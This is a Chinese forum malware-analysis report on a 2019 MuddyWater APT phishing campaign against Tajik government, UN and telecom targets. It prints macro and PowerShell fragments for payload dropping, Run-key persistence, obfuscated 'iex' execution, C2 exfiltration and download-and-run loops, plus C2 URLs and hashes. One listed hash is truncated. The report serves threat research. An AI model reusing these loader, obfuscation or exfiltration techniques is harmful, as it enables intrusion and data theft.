首页
论坛
专栏
课程

[病毒木马] [原创]MuddyWater(污水) APT组织针对塔吉克斯坦的攻击活动的分析

2019-7-7 11:53 3598

[病毒木马] [原创]MuddyWater(污水) APT组织针对塔吉克斯坦的攻击活动的分析

2019-7-7 11:53
3598

声明:

  1. 此报告为笔者原创,但非在本论坛(网站)首发,故此笔者不承认任何形式的抄袭陷害
  2. 该报告比较长,请各位读者保持耐心,争取将其读完
  3. 报告信息:
TAG:高级可持续攻击,APT,MuddyWater,塔吉克斯坦,政府部门,电信供应商,公司简历钓鱼
作者:Crazyman_Army
首发日期:2019.7.3
今日日期:2019.7.7
TLP: 白(报告转发及使用不受限制,但是需要注明出处)

0x00 MuddyWater简介

MuddyWater(又称为污水,T-APT-14)是疑似来自伊朗的APT组织,主要攻击目标中东地区政府机构,但在近期的公开报告中显示,18年后,中东以外的地区也陆续出现了Muddywater的活动迹象,比如土耳其,巴基斯坦等地。

 

该组织最早于2017年9月MalwareBytes公开披露,同年11月paloalto披露针对中东的攻击,并将该组织命名为MuddyWater,之后活动踪迹开始被国内外安全机构公开披露。

 

MuddyWater使用诱惑性的鱼叉文档作为攻击入口,引导用户启用宏,利用宏释放后续后续Payload进行攻击,在早期报道中,MuddyWater主要使用powershell后门。其利用VBS,VBA, PowerShell,Python,c#等脚本后门以及RAT木马。

 

BlackWater活动的主要发起者,自从BlackWater活动之后MuddyWater APT组织开始不断优化和调整自身的攻击手法,例如开始不再广泛采用模糊化背景作为诱饵文档,而是做一个假的提示信息图片来遮挡文档正文内容.在恶意宏里面不再通过启动项直接启动powershell载荷,而是使用一个硬编码处理后的VBE文件,将VBE文件写入自启动项,或者将其放入启动文件夹中,在VBE文件中重新释放PowerShell载荷以进行侦查和后门的活动。

0x01 样本分析

第一阶段:诱饵文档

样本信息:

样本信息 Zakupki_Agency on Public Procurement
样本MD5 6cb076f1f42573c5c43083a89bcfe442
样本SHA-1 4e68e2040acade6369d938f96c95ada050a8e061
样本SHA-256 36ccae4dffc70249c79cd3156de1cd238af8f7a3e47dc90a1c3347
样本类型 MS Word Document
样本文件名 Zakupki_Agency on Public Procurement.doc
文件大小 408576字节
作者 win7
创建文档内容时间 2019/5/23 12:00
最后一次保存时间 2019/5/23 12:09
 

诱饵文档截图如下:

 

1

 

2

 

3

 

文档中的语言为塔吉克语,通过内容以及诱饵文档的名称可以大致推断出其目标针对的是塔吉克斯坦政府的采购部门

 

4

 

5

 

其文档的图标正是塔吉克斯塔政府的图标,故此MuddyWater这次攻击的目标基本上确定

 

6

第二阶段:恶意宏代码:

1.Document_Open函数

Document_Open函数:frmLoader.show 加载并显示宏项目里内置的窗口

 

6

 

笔者猜想应该是在窗口里要么通过点击按钮进行载荷植入要么通过关闭窗口进行载荷植入
所以我们顺藤摸瓜定位到窗口处理的函数:

2.按钮控件消息相应函数

函数buttonQWERTY_Click()调用函数RgSh(id)并传入参数7
frmVisualizer.Show 加载frmVisualizer窗口并弹出
Unload Me 卸载本窗口

 

7

3.RgSh(id)函数

首先会调用PuSH(id)函数并且传入参数id 依照前面的调用 传入的参数为7

 

然后让变量b为PuSH(id)函数的返回值

 

我们会在下文对这个PuSH(id)函数进行分析 这里如果传入参数7的话 变量b为:%Temp%\aulmgr.vbe

 

通过CallByName函数调用SetStingValue修改注册表键值

 

设置的注册表项为:"Software\Microsoft\Windows\CurrentVersion\Run"

 

设置的键名称为: "VingValue"

 

VingValue键的键值为变量b 也就是%Temp%\aulmgr.vbe

 

8

4.PuSH(id)函数

p=d3r(4)&fun(1)

这里面引入了两个新的函数,一个为d3r(id),另一个为fun(id)

 

我们会在下文对这个d3r(id)fun(id)两个函数进行分析

 

d3r(4) & fun(1) 返回的路径是%Temp%\aulmgr.vbe

If id mod 5 = 1 then

如传入Push(id)函数的id与5取余等于1则进行下面的写vbe 文件操作——%Temp%\aulmgr.vbe

 

利用CreateTexFiile创造%temp%\aulmgr.vbe文件

 

读取frmloadr窗口中label控件(1到13)的caption(标题)字符串

 

并按照从1到13的顺序拼接,存入ddd变量中

 

ddd变量内容写入vbe文件中——%Temp%\aulmgr.vbe

 

9

5.d3r(id)函数

set f = createobject(fisa())

这个fisa()函数后面会说到 但是归根结底其实就是返回scripting.filesystemobject这个字符串

select case (id mod 5)

传入参数的id数字与5进行取余,其实就是id的数字,因为case的方案里面,最高的数字为5

Set f = CreateObject("scripting.filesystemobject")
Case 0
    d3r = Environ$("puBLiC") '%public% Pulic环境变量路径
Case 1
    d3r = Environ$("aPpDaTa") '%AppData% AppData环境变量路径
Case 2
    d3r = f.getspecialfolder(0) '%SystemRoot% Windows文件夹
Case 3
    d3r = f.getspecialfolder(1) '%SystemRoot%\System32 系统文件夹
Case 4
d3r = f.getspecialfolder(2) '%Temp% 临时目录
Case Else
d3r = ""    '返回空值

10

6.Fun(id)函数

select case (id mod 5)

传入参数的id数字与5进行取余,其实就是id的数字,因为case的方案里面,因为最高的数字为5

Case 0
FuN = "\aaaaa.tmp"
Case 1
FuN = "\aulngr.vbe"
Case 2
FuN = "\bbbbbb.tmp"
Case 3
FuN = "\report.xls"
Case 4
FuN = "\report.docx"
Case Else
FuN = ""   '返回空值

11

 

那我们回到PuSH(id)函数中

p=d3r(4)&fun(1) '%temp%\aulmgr.vbe

7.FisA()函数

通过读取frmlodr窗口中得label控件(14,15)以拼接好字符串scripting.filesystemobject

 

并且将这段字符串返回

 

12

 

至此宏代码中的主要函数功能已经分析完毕

 

其最主要的功能为:释放VBE Loader于%temp%\aulmgr.vbe下,将该文件通过修改注册表写入开机启动

第三阶段:VBE loader

1.基本信息:

样本信息 %temp%\aulmgr.vbe
样本MD5 9d2da5228e21594ab46b4f5281d38b8f
样本SHA-1 2b548816eeacd4fd4dee30f46acaecb34b1238e3
样本SHA-256 ac32b57f7d14e8e50db4dabbbefc67f10fb71994fbd7165c8dd634724cb75384
文件类型 VBE文件
文件大小 58962字节
样本文件名 aulmgr.vbe
 

样本截图如下(挺乱码的):

 

13

2.VBE loader分析

scrdec或者Decode VBE工具进行解密

 

摘取主要的VBS代码进行分析:

 

如图:VBE文件内置的b字符串(pwershell第一阶段的代码)

 

14

 

其主要内容为提取VBE文件中自带的Powershell第一阶段的代码,然后通过OpenTextFile函数创建Powershell第一阶段载荷于%public%\\UserImage.png,并且将B变量写入

 

然后执行命令powershell /w 1 iex(gc $env:public'\userimage.png')

set fs = CreateObject("Scripting.FileSystemObject")'fs为Scripting.FileSystemObject的对象
Set ts = fs.OpenTextFile(wshShell.ExpandEnvironmentStrings("%public%") &"\UserImage.png", 2, True, -2)'开始就是释放powershell 第一阶段载荷的部分
'路径为%public%\UserImage.png
ts.write(b) '将b的内容写入这个png文件中
wshshell.run("powershell /w 1 iex(gc $env:punlic'\userimage.png')")
'执行命令 powershell /w 1 iex(gc $env:public'\userimage.png')

PowerShell命令如下,窗口隐藏通过gc(Get-Content)命令%public%\\UserImage.png
的数据,然后利用iex(Invoke-Expression)命令,内存执行UserImage.png中的数据

/w : windowstyle #窗口风格
1 : hidden #隐藏
iex : Invoke-Expression #运行命令和表达式
gc : Get–Content #获取指点位置的数据
$env:public #%public%

15

第四阶段:Recon PowerShell

1.样本信息:

样本信息 %public%\UserImage.png
样本MD5 34a072f42905f9de31523616e8f207b1
样本SHA-1 3d37affb081e7c9586bdac2fe9e45368f812ceb4
样本SHA-256 93277fff51fe11690b91b21d3bd5b11979cdc56a32df57f722009cb6cea5cb6e
样本文件类型 Poweshell 脚本(ps1) 虚假的PNG文件
样本文件大小 54605 字节
样本文件名 UserImage.png

2.Recon Powershell分析

注意:笔者并没有去掉变量名和函数名混淆,所以其会有一些难懂,请结合图文进行理解

第一阶段 Recon Powershell:

Recon PowerShell的代码经过Base64编码后存入变量vv

 

利用[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String解密变量vv

 

并且将结果存入变量er

 

利用gcm i*v*p*s*n拼凑Invoke-Expression,将变量er传入,内存执行Recon PowerShell第二阶段

 

如图所示:利用gcm(Get-Command)模糊拼凑Invoke-Expression命令

 

16

$er = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($vv)) #decode Recon PowerShell
& (gcm i*v*p*s*n) $er #Use IEX to run the payload

17

第二阶段 Recon PowerShell:

功能1:收集系统信息

  1. 获取当前用户名称 如下图 函数名:lTXxzy53

    通过获取环境变量%username%来获取当前用户名称,如果失败返回error username字符串

    18

  2. 获取用户所在域的名称 如下图 函数名:EdA4VNZrBAU37Pd7ND

    通过%userdomain%环境变量获取用户所在域的名称,如果失败反而error userdomain字符串

    19

  3. 遍历进程 如下图 函数名:zokOsMYYZQG1GyNMGDZ

    利用ps命令(Process Status)枚举当前用户的进程信息,如果失败则返回error tasklist字符串

    20

  4. 遍历桌面文件的文件名,文件大小以及最后编辑时间 如下图 函数名:UTFhxPjChlXs1OxREdR

    通过ls命令遍历出桌面的文件,桌面的路径:%userprofile%\desktop,如果失败返回error ls字符串

    21

  5. 获取外网IP地址 如下图 函数名:sp169N5

    http://ip–api.com/json下载回显字符串以获得外网ip的目的,如果失败返回error remote IP字符串

    21

    效果如下:

    22

    返回结果:

    23

  6. 收集系统名称 如下图 函数名:dYUUIGUfLNIoN

    调用wmic.exe利用(win32_operatingsystem).name以获取系统名称,如果失败返回error os arch字符串

    24

如下图,函数名:L82O_u0EwZy
按以下顺序分别调用函数:lTXxzy53(获取当前用户名称),EdA4VNZrBAU37Pd7ND(获取用户所在域的名称),zokOsMYYZQG1GyNMGDZ(遍历进程),UTFhxPjChlXs1OxREdR(遍历桌面文件的文件名,文件大小以及最后编辑时间),sp169N5(获取外网IP地址),dYUUIGUfLNIoN(获取系统名称)

 

然后将其函数L82O_u0EwZy调用后,使用out-file命令将结果输出到%temp%\\log.txt

l82O_u0EWZy | out-file $env:temp\log.txt #收集系统信息,并将其结果输出到%temp%\log.txt中

混淆为了进一步躲避杀软侦查,又声明了一个新的变量叫:m2g9a1mNOtasOaLofMKD,其的内容是:%temp%\log.txt

 

也就是录入收集到系统信息的文件.

 

25

 

功能2:将收集到的信息发送请求给C2

 

再通过GC(Get-Connect)命令读取%temp%\\log.txt的内容

 

然后将其通过GetByte命令获取其字符数组,然后将其进行base64的编码后,再将编码后的字符串获取utf–8的字符数组,然后通过POST的方式UploadData(上传数据),将刚刚编码后字符发送到这个指定的地址:

 

http://185.185.25.175/up1.php?UU={GUID}.

 

26

 

效果如下:

 

27

 

发送报文内容(Base64):

 

28

 

解密字符串:

  1. 当前用户用户名以及进程列表信息:

    29

  2. 桌面上文件(文件名,最后修改时间,文件长度):

    30

  3. 外网IP地址,系统名称:

    31

功能3:循环请求PowerShell Backdoor后门,然后将其下载到本地执行

 

通过while(1)一直死循环,向c2地址发出请求:

 

http://185.185.25.175/sDownloads/{GUID}.jpeg

 

如果其存在则调用DownloadFile下载{GUID}.JPEG文件并另存为%public%\\ieee.dat

 

32

 

如图所示:一直对PowerShell Backdoor进行请求

 

33

 

攻击者会对其所感兴趣的受感染机器进行筛选,以植入PowerShell Backdoor

 

然后调用iex命令去执行gc命令所读取%public%\\ieee.dat中的内容

 

34

第五阶段:PowerShell BackDoor

1.样本信息:

样本信息 %public%\ieee.dat
样本MD5 9aaa2011a46c19d143e0d67bd66e13ce
样本SHA-1 a501b9e294c167fd010b7b65520723cf1cdfce30
样本SHA-256 9c840bb1d18e0253311fa785a69fbedd95b979459c5b9ffad5abfea2f6ed3250
样本文件类型 Poweshell 脚本(ps1) 虚假的dat文件
样本文件大小 300489 字节
样本文件名 ieee.dat

2.PowerShell Backdoor的分析

1.第一阶段 PowerShell Backdoor:

利用[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($u));解密变量u

 

并且将结果存入变量y

 

利用gcm i*v*p*s*n拼凑Invoke-Expression,将变量y传入,内存执行Recon PowerShell第二阶段

 

利用gcm(Get-Command)模糊拼凑Invoke-Expression命令

$y = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($u));
$y | & (gcm i*v*p*s*n);

如图所示:

 

35

2.第二阶段 PowerShell Backdoor:

功能1:信息收集

  1. 获取本机的GUID以及标记感染,函数名:CwC1Fafld_XtJSe6wx

    首先检查HKCU:\SOFTWARE\Microsoft\key是否存在,如果存在则利用

    Get-ItemProperty获取SecretKey键名的键值

    若不存在则调用New-Item创建新项Key,并且利用$Guid = [guid]::NewGuid().Guid;生成GUID,然后调用Set-ItemProperty创造HKCU:\SOFTWARE\Microsoft\keySecretKey键,并写入键值{GUID}以标记感染.

    36

  1. 获取当前用户名称 ,函数名:wltJBgnP

    通过环境变量%username 失败则返回Username Error

    37

  2. 获取系统名称,函数名:VDf4TkTOMy3p_Br8UL5nH

    调用wmic.exe利用(win32_operatingsystem).name以获取系统名称,如果失败返回os Name Error字符串
    并且将返回结果的所有:替换为;

    38

  3. 获取系统位数,函数名:Aj9VVbP5C

    调用wmic.exe利用Win32_OperatingSystem).OSArchitecture以获取系统位数,如果失败返回Architecture Error字符串

    39

  4. 获取外网IP地址,函数名:S4xKxH_WG0KMOE

    调用D_1smifUAajwThfuQgh函数从https://api.ipify.org/地址上下载回显数据
    如果失败则返回IP Error字符串

    40

  5. 获取当前用户所在用户组,函数名:QTix4hifIA2oQE8g

    调用Security.Principal.Identity::GetCurrent()获取当前用户标识
    IsInRole判断用户处于什么用户组

    将获取到的本账户用户组和最后管理员的用户组做对比

    如果一样 则返回Admin字符串

    如果不一样 则返回User字符串

    如果没有识别则返回error role字符串

    41

代码如下:

$UC55RYB_3NieoNp = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent());  #获取当前用户标识
$mmMfY1GeC_ZHoT3 = $uC55ryb_3Nieonp.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); #判断用户组是否处于管理员
if ($mMmFY1GeC_ZHoT3 -eq $TRUe) #如果是返回Admin字符串
{$mMMfY1GeC_zHoT3 = "Admin";
} 
else 
if ($MMMFy1GEC_zHoT3 -eq $false) #如果不是返回User字符串
{$mMMfy1GEc_zhot3 = "User";
}}catch 
{$mMMFY1gEc_zHoT3 = "Error Role";#如果都不是返回Error Role
}return $mMMfY1GEC_zHoT3;
}

利用yKGVMK8K函数,将所收集到的信息进行拼接

 

如图:按以下顺序去执行函数CwC1Fafld_XtJSe6wx(获取本机的GUID以及标记感染),wltJBgnP(获取当前用户名称),VDf4TkTOMy3p_Br8UL5nH(获取系统名称),Aj9VVbP5C(获取系统位数),S4xKxH_WG0KMOE(获取外网IP地址),QTix4hifIA2oQE8g(获取当前用户所在用户组)

 

将返回结果按照以下的格式进行拼接:
{GUID}:{UserName}:{OS Name} {OS Arch}:{Remote IP Address}:{UserRole}

 

42

 

功能2:向C2发送报文,并接受回显

 

函数名:n_n9tyYOaI9m6lB, 第一个参数是请求的URL地址 第二个参数是发送的内容

 

Net.WebRequest::Create(第一个参数:请求的URL地址)

 

为传入的第一个参数——URL地址,初始化新的webrequest实例

 

调用GetSystemWebProxy 使webrequest的代理方案为:模拟当前用户的 Internet Explorer 设置中配置的代理

 

利用UTF8.GetByte(第二个参数:发送的内容)

 

将请求的内容转换为utf8编码的字节数组

 

设置Net.WebRequest的请求方式为POST

 

设置Net.WebRequest的会话长度为第二个参数转为utf–8编码的字节数组的长度

 

如果请求内容的长度大于0

 

调用Net.WebRequest.GetStreamRequest().Write()去向指定URL发送http请求,以及发送第二个参数中的数据

 

之后利用Net.WebRequest.GetResponse()来获取回显

 

如果回显非空

 

利用Net.WebRequest.GetResponseStream()获取回显流数据

 

将返回参数读入io流中,全部读取。然后返回读取的数据

 

43

 

功能3:下载回显数据

 

函数名:d_1SmifuaaJWTHfuQgh,参数为URL地址

 

$jTnFF3U0z = New-Object System.Net.WebClient初始化System.Net.WebClient

 

$JtnFF3U0z.proxy = [Net.WebRequest]::GetSystemWebProxy()模拟当前用户的 Internet Explorer 设置中配置的代理

 

$tUSoC9K2dpegti=$jtnFf3U0z.downloadString($XSohPvLsxiYBHLa8bYyj) 利用DownLoadString下载回显

 

44

 

功能4:发送收集到的用户数据并接收后门指令

 

调用ykGVMk8k函数(收集目标信息)存入变量xGWoj_n

 

调用CwC1FaFld_xTJSe6Wx函数(获取GUID)存入变量$Guid

 

http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=reg&UU="{GUID}发送POST请求,并且发送变量xGWoj_n(目标的信息)的内容,

 

通过while (1)循环用GET方式请求http://83.171.238.62/command/{GUID}.cmd地址,下载{GUID}.cmd的内容

 

如果{GUID}.cmd中的内容不为Error

 

就调用mUHr7u0HAhhRaXq函数去解析返回数据中的攻击者后门的命令

 

45

 

功能5:后门指令解析

 

该PowerShell BackDoor一共有三个主要的后门功能,分别是屏幕截图,Cmd命令执行,任意PowerShell 代码执行

  1. 屏幕截图
    函数名:Get-ScreenShot

    首先调用VirtualScreen获取虚拟屏幕

    New-Object Drawing.BitMap用以初始化一个新的绘制bitmap的对象

    CopyFromScreen屏幕图像拷贝到新创建的绘制图像的对象

    将图像保存为png图片格式并且将图片数据存入内存流

    将png图片的内存流数据转数组后进行base64编码后返回加密后的值

    46

  2. cmd命令执行
    调用cmd /c {cmdline}以执行C2回传的Cmd命令,并利用out-string获取命令执行返回结果

    47

  3. 任意PowerShell代码执行
    调用iex函数以执行C2回传的PowerShell代码,并利用out-string获取执行结果

    48

函数名:MUHr7u0hahhrAxQ解析远控指令并执行,传入的参数是从C2上下载的远控指令

 

调用startwith函数摘取screenshot并且执行屏幕截图操作,并且将返回的base64编码后的PNG数据,以Post的方式发送到如下地址http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=sc&i={GUID}.png

 

调用startwith函数摘取"cmd"字符串以后数据,并且利用replace函数将"cmd"字符串进行替换为空字符串,得到cmd命令

 

将获取到的cmd命令用cmd /c执行,并且将返回的结果数据,经过base64编码,将编码后的数据以Post的方式发送到如下地址http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=res&R={GUID}

 

如果stratwith函数既没有匹配到"cmd"以及“screenshot”字符串,则将其用iex命令执行,如果执行成功,就将执行后的返回结果,通过base64编码后,将编码数据以Post方式发送到http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=res&R={GUID}地址

 

如果执行不成功就,发送异常数据到C2

 

49

 

样本流程图:

 

50

0x02 样本关联:

通过相同的诱饵文档内容笔者关联到了一个同样针对塔吉克斯坦政府采购部门的样本

 

但是其C2以及自启动技术发生了变化

一.针对塔吉克斯坦外交部门的钓鱼活动:

根据C2:185.185.25.175笔者关联到了一个docx文件样本

 

其运用了远程模板注入技术,并且注入的模板中利用了cve-2017-0199漏洞,但是由于C2已结挂了,所以无法继续分析

1.样本信息:

样本信息 TAJIKISTAN_INCORPORATE_E-GOVERMENT
样本MD5 3cc5e7df7e9b0b216327ae7b451b8b90
样本SHA-1 df9195610909e9ccacdf4c3048272a31a090ffef
样本SHA-1 dae45ea1f644c0a8e10c962d75fca1cedcfd39a88acef63869b7a5990c1c60b
样本类型 Office Open XML Document
样本大小 254859 字节
样本文件名 TAJIKISTAN_INCORPORATE_E-GOVERMENT.docX
文档作者
文档创造时间 2019/04/18 9:20
文档最后保存时间 2019/04/18 9:29
 

诱饵文档截图:

 

57

 

58

 

远程模板注入技术:

 

59

二.针对塔吉克斯坦政府采购部门的钓鱼活动:

1.样本信息:

样本信息 Agency_Last_Section_Document
样本md5 8b3da6c97a53188e4af2d404dea654b6
样本SHA-1 19a2db6bf5987b3961b61c8d19df8fa5f7aee79a
样本SHA-256 3deaa4072da43185d4213a38403383b7cefe92524b69ce4e7884a3ddc0903f6b
样本类型 MS Word Document
样本文件大小 354816字节
样本文件名 Agency_Last_Section_Document.doc
文档作者 win7
文档创造时间 2019/05/23 12:00
文档最后保存时间 2019/05/27 14:49
 

与之前的样本诱饵内容完全一样

 

诱饵文档内容如下:

 

51

2.恶意宏代码

并没有之前复杂的混淆,内容很简单,主要还是通过窗体去提取VBE Loader,唯一的区别是该样本实现自启动的技术是通过在自启动文件夹中释放antibiotic.vbe

 

如图所示:

 

52

3.VBE Loader

样本信息 antibiotic.vbe
样本MD5 176e56a418bc4c11783d6411aef94c38
样本SHA-1 da6693a6f94dae519e940045c0c531a4ff0b0457
样本SHA-256 ee44555476ae687817d70629b6dde8c2b0476741fb2ed8a8be97cfcaf2cf32e7
样本类型 VBE文件
样本大小 16518 字节
 

与上个样本一样的技术,这里不再赘述

 

53

4.Recon PowerShell

样本信息 %public%\USERCa.jpeg
样本MD5 f460780c1cad15c3883868cb5050375c
样本SHA-1 b8ef0afcc74fc5ef50d4d5cce062fba51924cc99
样本SHA-256 176c488124e1dc467058ec1d5c3aa66b8e8d9ca713a7ab2edddbaade89bb0e71
样本类型 ps1文件 虚假的jpeg文件
样本大小 12985 字节
 

基本相同的信息收集手段

 

54

 

将收集好的信息以POST方式发送到http://185.244.149.218/game.php?NewsIID={GUID}

 

55

 

循环向http://185.244.149.218/JpeGDownload/{GUID}.png发送GET请求
下载后另存为%public%\\Dri.dat

 

56

三.针对塔斯克斯坦联合国部门的钓鱼活动

1.样本信息:

样本信息 UNDP_TJK_Agreement_ORGS
样本md5 1e8afda2721eff834ed9c87371a432fe
样本SHA-1 26f6183fc7fa57c614588e0bd1ffc28884259ff9
样本SHA-256 7e7b6923f3e2ee919d1ea1c8f8d9a915c52392bd6f9ab515e4eb95fa42355991
样本类型 MS Word Document
样本文件大小 863744字节
样本文件名 UNDP_TJK_Agreement_ORGS.doc
文档作者 Khursheda Aknazarova
文档创造时间 2019/05/29 12:32
文档最后保存时间 2019/05/29 12:33
 

文档截图如下:

 

66

2.恶意宏代码

并没有之前复杂的混淆,内容很简单,主要还是通过窗体去提取VBE Loader,唯一的区别是该样本实现自启动的技术是通过在自启动文件夹中释放antibiotic.vbe

 

如图所示:

 

67

3.VBE Loader

样本信息 antibiotic.vbe
样本MD5 176e56a418bc4c11783d6411aef94c38
样本SHA-1 da6693a6f94dae519e940045c0c531a4ff0b0457
样本SHA-256 ee44555476ae687817d70629b6dde8c2b0476741fb2ed8a8be97cfcaf2cf32e7
样本类型 VBE文件
样本大小 16518 字节
 

与上个样本一样的技术,这里不再赘述

 

68

4.Recon PowerShell

样本信息 %public%\USERCa.jpeg
样本MD5 f460780c1cad15c3883868cb5050375c
样本SHA-1 b8ef0afcc74fc5ef50d4d5cce062fba51924cc99
样本SHA-256 176c488124e1dc467058ec1d5c3aa66b8e8d9ca713a7ab2edddbaade89bb0e71
样本类型 ps1文件 虚假的jpeg文件
样本大小 12985 字节
 

基本相同的信息收集手段

 

69

 

将收集好的信息以POST方式发送到http://185.244.149.218/game.php?NewsIID={GUID}

 

70

 

循环向http://185.244.149.218/JpeGDownload/{GUID}.png发送GET请求
下载后另存为%public%\\Dri.dat,并且执行

 

71

四.针对塔吉克斯坦某公司的简历钓鱼活动

1.样本信息:

样本信息 Gulnoza Nurullaeva
样本MD5 8eb40b005f78e4367e879bbdc6110732
样本SHA-1 096d543b7336c785786fa5fd2105ebf060121cca
样本SHA-256 6fd2df9530796160b7504d46ba610d90341b245c9a1eba9a380bd8afbc497ca2
样本类型 MS Word Document
样本文件名 Gulnoza Nurullaeva.doc
文件大小 159744字节
作者 pc1
创建文档内容时间 2019/6/10 11:25
最后一次保存时间 2019/6/10 12:01
 

诱饵样本截图:

 

60

2.恶意宏代码:

和上文一样通过读取窗口控件的标题中提取VBE loader,将其拼凑后,将拼凑好的字符串写入pKio.vbE,pKio.vbE文件位于系统自启动文件夹中,达到自启动的目的

 

61

3.VBE loader:

样本信息 pKio.Vbe
样本MD5 d7b0eb2f80f415b3171651903ae74a03
样本SHA-1 bf4fa31705bc0c9bad70def01f8fd3075046ef79
样本SHA-256 d26333ce8c760e3122c1537ace5b4c9d28bfb71989601e5267a5a499356bbd53
样本类型 VBE文件
样本大小 16156字节
 

与上个样本一样的技术,这里不再赘述,释放Recon Powershell到%TEMP%\HTM.log文件
并且调用iex执行gc读取的代码内容

 

62

4.Recon Powershell:

样本信息 %TEMP%\HTM.log
样本MD5 2afb43542e4b0bd2e6105a1b769ff9d4
样本SHA-1 59e7f32591855b424d823dfbe0e2e19e777daea3
样本SHA-256 2d882d0f4a4cb2b394f2b351e2616495ddb474a656575b883281ddf74cdd1053
样本类型 ps1文件 虚假的log文件
样本大小 13615 字节
 

去除PowerShell代码的混淆后

 

和之前说到的Recon PowerShell的功能大致相同

(1).信息侦查:

利用whoami去获取当前用户名称以及用户所在域名称,通过ipconfig /all获取当前用户IP地址,利用tasklist去获取进程列表,利用dir %userprofile%\\Desktop
获取桌面上的文件信息,利用systeminfo | findstr /B /C:OS Name /C:OS Version /C:arch /C:System Model去获取系统名称,系统版本,系统位数,系统样式

 

63

(2).发送上线报文到C2:

将信息侦查的结果存入%public%\\jYtHGrrfWE.log 将其内容进行base64编码,之后利用gc命令读取jYtHGrrfWE.log中编码的内容
以POST的方式向C2地址发送请求http://185.82.202.240/ttryeJte76.php?Tok=jKlMNtr65Vbf&newsUID={RandonName}POST的方式将编码后的数据发送到该C2地址

 

64

(3).请求下一段载荷并且运行

循环向该C2地址请求http://185.82.202.240/DwnDir/下载其文件存入
%temp%\\tRLHteSw.log 文件中,并且利用iex执行gc读取的%temp%\\tRLHteSw.log的内容

 

65

五.针对塔吉克斯坦电信提供商的钓鱼活动

1.样本信息:

样本信息 Performance_Eval_Employee
样本md5 8f416a523e272a751061f86e77b8cdad
样本SHA-1 54e8936ee761fdd3e26dbab6606f6db1b3492bd4
样本SHA-256 82918f0396e738fb0833d65ef582607ce3c19f973740c8a5d179b2b4e764605b
样本类型 MS Word Document
样本文件大小 409088字节
样本文件名 Performance_Eval_Employee.doc
文档作者 Maylene Raful(此人是无辜的 Muddywater套用了其模板)
文档创造时间 2019/06/18 06:40
文档最后保存时间 2019/06/18 07:05
 

诱饵样本截图:

 

72

2.恶意宏代码

通过从控件中提取VBE loader代码将其写入自启动文件夹下的S0NN3.VbE文件中,
以达到开机启动的目的

 

73

3.VBE loader

样本信息 S0NN3.VbE
样本MD5 6e324aa68f21e5c794f17ed70102e214
样本SHA-1 1faceaf72e26d5d73b3897c71c6a0cc603a48128
样本SHA-256 406f70cef454258fdfe60aaa33d4279c7c08b731608cf2ae7ba7a6fcc828c827
样本类型 VBE文件
样本大小 49835字节
 

相同的手段,释放Recon PowerShell于%temp%\\plr.dat通过iex执行gc所读取%temp%\\plr.dat文件的内容

 

74

4.Recon PowerShell

样本信息 %TEMP%\plr.log
样本MD5 c40f77ca36bab83db36b463d2a561fbc
样本SHA-1 ec63c18e6d570352ec595a705b138c554fefb81c
样本SHA-256 81d0f1a013ff4e6ded763f8e1bfa394cbe872f61a4bf39d1ac51e19ce0d2bd41
样本类型 ps1文件 虚假的dat文件
样本大小 43385字节
 

去除PowerShell代码的混淆后

 

和之前说到的Recon PowerShell的功能大致相同

(1)信息收集:

获取当前用户的所在域名称以及当前用户名,进程列表,桌面文件信息

 

75

(2).发送上线报文到C2:

将收集到的信息以POST的方式发送到http://185.141.27.14/trjjmfnnv.php?T=Tew39mvn21hhsy&Tw={RandomName}

 

76

(3).请求下一段载荷并且运行

循环向该C2地址请求http://185.141.27.14/Newsii/{RedomName}下载其文件存入
%public%\\nvtge44.log 文件中,并且利用iex执行gc读取的%public%\\nvtge44.log的内容

 

77

0x03总结

MuddyWater组织的样本并不是非常复杂,但是在分析过程中也可以抓到部分该组织攻击过程的影子

1.信息收集:

(1).针对塔吉克斯坦某公司的简历钓鱼:

笔者可以在网上搜索到有关被利用者的信息
这里笔者用一张图的形式说明.

 

可见攻击者充分利用了被利用者所泄露的信息,使得诱饵文档看起来更加逼真,加大攻击的成功几率.

 

78

(2).针对塔吉克斯坦电信提供商的钓鱼活动

该样本Muddywater采用了获取加利福尼亚大学在搜索引擎上使用的合法文档,并且对其进行重新的编辑,如下图所示:将加利福尼亚大学大学的标志替换为塔吉克斯坦电信供应商的微标,将标题也做了替换,其他的部分完全相同

 

79

2.载荷构造:

(1).代码混淆

攻击者在构造载荷的时候通常对宏以及powershell代码进行了加密
对宏的加密主要体现在Chr()以及StrReverse()函数
并且将部分关键变量藏匿于窗口控件之中

 

而针对PowerShell的混淆,第一步就是一层base64,从第二层开始都有一个解密函数
用于解密C2地址,以及释放文件的位置。并且每个脚本的解密算法都不是相同的,这里只单单给出一个例子:

 

80

(2).反沙箱

攻击者在构造载荷的时候也考虑到了沙箱对待样本的情况
由于大部分在线沙箱都在普通条件下没有重新启动的功能
故此类样本都是通过将VBE loader开机启动以绕过部分沙箱的监视

 

当然这只是第一个保险,攻击者也考虑到了那些会重启的沙箱,但是每个沙箱的运行时间
都受到严格的控制,所以攻击者在执行例如发送数据到C2之前都会让脚本进行一段时间的延时
以绕过部分沙箱的行为分析

 

81

一些看法:

MuddyWater作为一个攻击水平逐渐上升而且颇具威胁的APT组织,这对公司的防御有很大的考验,所以公司在强化员工安全意识的同时,更应该注意Anti-Virus软件以及EDR的选择。

0x04 IOCs:

样本MD5:

6cb076f1f42573c5c43083a89bcfe442(Zakupki_Agency on Public Procurement.doc)

 

9d2da5228e21594ab46b4f5281d38b8f(aulmgr.vbe)

 

34a072f42905f9de31523616e8f207b1(UserImage.png)

 

9aaa2011a46c19d143e0d67bd66e13ce(ieee.dat)

 

3cc5e7df7e9b0b216327ae7b451b8b90(TAJIKISTAN_INCORPORATE_E-GOVERMENT.docx)

 

8b3da6c97a53188e4af2d404dea654b6(Agency_Last_Section_Document.doc)

 

176e56a418bc4c11783d6411aef94c38(antibiotic.vbe)

 

f460780c1cad15c3883868cb5050375c(USERCa.jpeg)

 

1e8afda2721eff834ed9c87371a432fe(UNDP_TJK_Agreement_ORGS.doc)

 

